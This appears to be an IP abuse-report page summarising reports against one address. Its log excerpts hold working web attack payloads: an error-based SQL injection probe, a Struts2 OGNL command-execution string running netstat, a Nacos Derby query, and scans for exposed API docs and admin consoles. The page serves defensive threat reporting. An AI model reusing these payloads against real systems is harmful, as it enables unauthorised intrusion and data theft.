This IP address has been reported a total of
23
times from
11 distinct
sources.
209.50.189.104 was first reported on
, and the most recent report was
.
In the last 60 days, the top reporter locations were:
Indonesia
with 2
reports;
Czechia
with 1
report;
Germany
with 1
report.
The most common categories in these recent reports were:
Web App Attack
6
times;
Hacking
3
times;
Brute-Force
1
time.
Recent Reports
We have received reports of abusive activity from this IP address within the last week. It is
potentially still actively engaged in abusive activities.
This IP was detected by CrowdSec triggering crowdsecurity/suricata-major-severity(ET DROP Spamhaus D ...
show moreThis IP was detected by CrowdSec triggering crowdsecurity/suricata-major-severity(ET DROP Spamhaus DROP Listed Traffic Inbound group 64).
show less
This IP was detected by CrowdSec triggering crowdsecurity/suricata-major-severity(ET DROP Spamhaus D ...
show moreThis IP was detected by CrowdSec triggering crowdsecurity/suricata-major-severity(ET DROP Spamhaus DROP Listed Traffic Inbound group 66).
show less
Unauthorized VPN login attempts: 1 attempts were recorded from 209.50.189.104
2026-09-20T02:25:24+02 ...
show moreUnauthorized VPN login attempts: 1 attempts were recorded from 209.50.189.104
2026-09-20T02:25:24+02:00 vpn Access-Reject 'sify' station: 209.50.189.104 auth-type: - realm: vse.cz nas: <redacted> called: <redacted> => address-pool: - msg: '<redacted>'
show less
ThreatBook Intelligence: Spam,Gateway more details on https://threatbook.io/ip/209.50.189.104
2026-0 ...
show moreThreatBook Intelligence: Spam,Gateway more details on https://threatbook.io/ip/209.50.189.104
2026-04-30 04:33:22 /prod-api/v2/api-docs
2026-04-30 04:33:27 /v2/api-docs
show less
ThreatBook Intelligence: Spam,Gateway more details on https://threatbook.io/ip/209.50.189.104
2026-0 ...
show moreThreatBook Intelligence: Spam,Gateway more details on https://threatbook.io/ip/209.50.189.104
2026-04-24 09:25:53 /nacos/v1/cs/ops/derby?sql=select+*+users
show less
ThreatBook Intelligence: Spam more details on http://threatbook.io/ip/209.50.189.104
2026-04-02 18:2 ...
show moreThreatBook Intelligence: Spam more details on http://threatbook.io/ip/209.50.189.104
2026-04-02 18:29:45 /druid/index.html
show less
ThreatBook Intelligence: Zombie,Spam more details on https://threatbook.io/ip/209.50.189.104
2026-03 ...
show moreThreatBook Intelligence: Zombie,Spam more details on https://threatbook.io/ip/209.50.189.104
2026-03-03 12:43:14 /photo/index.php?c=search&catid=23%20and%20(select%201%20from%20(select%20count(*),concat(md5(1),floor(rand(0)*2))x%20from%20information_schema.tables%20group%20by%20x)a)
show less
ThreatBook Intelligence: Zombie,Spam more details on https://threatbook.io/ip/209.50.189.104
2026-02 ...
show moreThreatBook Intelligence: Zombie,Spam more details on https://threatbook.io/ip/209.50.189.104
2026-02-25 20:58:45 /?redirect:${%23req%3d%23context.get(%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27),%23s%3dnew%20java.util.Scanner((new%20java.lang.ProcessBuilder(%27netstat%20-an%27.toString().split(%27\\s%27))).start().getInputStream()).useDelimiter(%27\\AAAA%27),%23str%3d%23s.hasNext()?%23s.next():%27%27,%23resp%3d%23context.get(%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27),%23resp.setCharacterEncoding(%27UTF-8%27),%23resp.getWriter().println(%23str),%23resp.getWriter().flush(),%23resp.getWriter().close()}
2026-02-25 20:58:44 /
show less
ThreatBook Intelligence: Zombie,Spam more details on https://threatbook.io/ip/209.50.189.104
2026-02 ...
show moreThreatBook Intelligence: Zombie,Spam more details on https://threatbook.io/ip/209.50.189.104
2026-02-02 15:38:35 /down/index.php?c=search&catid=23%20and%20(select%201%20from%20(select%20count(*),concat(md5(1),floor(rand(0)*2))x%20from%20information_schema.tables%20group%20by%20x)a)
show less
